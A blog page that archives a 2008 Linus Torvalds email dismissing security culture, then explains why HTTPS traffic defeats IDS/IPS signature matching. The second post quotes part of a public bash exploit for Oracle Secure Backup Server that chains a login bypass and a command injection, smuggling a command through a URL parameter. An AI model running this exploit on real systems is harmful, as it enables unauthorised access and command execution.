Infosec Monkeys

Ran across this old gem of a post and wanted to archive it here as it's a classic.

From: Linus Torvalds torvalds@linux-foundation.org
Subject: Re: [stable] Linux 2.6.25.10
Newsgroups: gmane.linux.kernel
Date: 2008-07-15 16:13:03 GMT (1 year, 18 weeks, 1 day, 19 hours and 16 minutes ago)

On Tue, 15 Jul 2008, Linus Torvalds wrote:
>
> So as far as I'm concerned, "disclosing" is the fixing of the bug. It's
> the "look at the source" approach.

Btw, and you may not like this, since you are so focused on security, one
reason I refuse to bother with the whole security circus is that I think
it glorifies - and thus encourages - the wrong behavior.

It makes "heroes" out of security people, as if the people who don't just
fix normal bugs aren't as important.

In fact, all the boring normal bugs are _way_ more important, just because
there's a lot more of them. I don't think some spectacular security hole
should be glorified or cared about as being any more "special" than a
random spectacular crash due to bad locking.

Security people are often the black-and-white kind of people that I can't
stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in
that they make such a big deal about concentrating on security to the
point where they pretty much admit that nothing else matters to them.

To me, security is important. But it's no less important than everything
*else* that is also important!

Linus

The HTTPS security problem

Writing IDS and IPS signatures for web application targeted exploits is usually a straight forward process. Unfortunately as products attempt to be more secure via forcing SSL for transactions makes detection much more complex.

Take this recent exploit released on Milw0rm targeting Oracle Secure Backup Server for example...

It's a simple bash script using curl to post the malicious payload:

( snip )

TARGET=$1

#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
echo "[!] Fatal error. No valid token has been retrieved"
exit
fi

echo "[+] I got a valid token: $session"

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

( /snip )

The issue is that the payload uri cannot be string matched using tradition IDS/IPS without either running Snort on the product itself or decoding SSL in realtime.

Well what if the product vendor (as most do) bundle a self signed certificate and don't give you access to the SSL keys to decrypt? What if your organization (as most do) simply ignore SSL streams with their IDS/IPS product.

This really hampers defense and raises the issues that HTTPS is going to be the primary target of attackers from now on to simply bypass prevention and detection all together.

How has your organization dealt with this issue? Have you even discussed it yet?

Snort has an SSL/TLS pre-processor but does it decode live SSL for you? It does not at all and only validates/inspects the SSL/TLS handshake and protocol and some basic attacks.

In fact from the current Snort documentation:

Encrypted traffic should be ignored by Snort for both performance reasons and to reduce false positives.

This is a problem the industry needs a real solution for.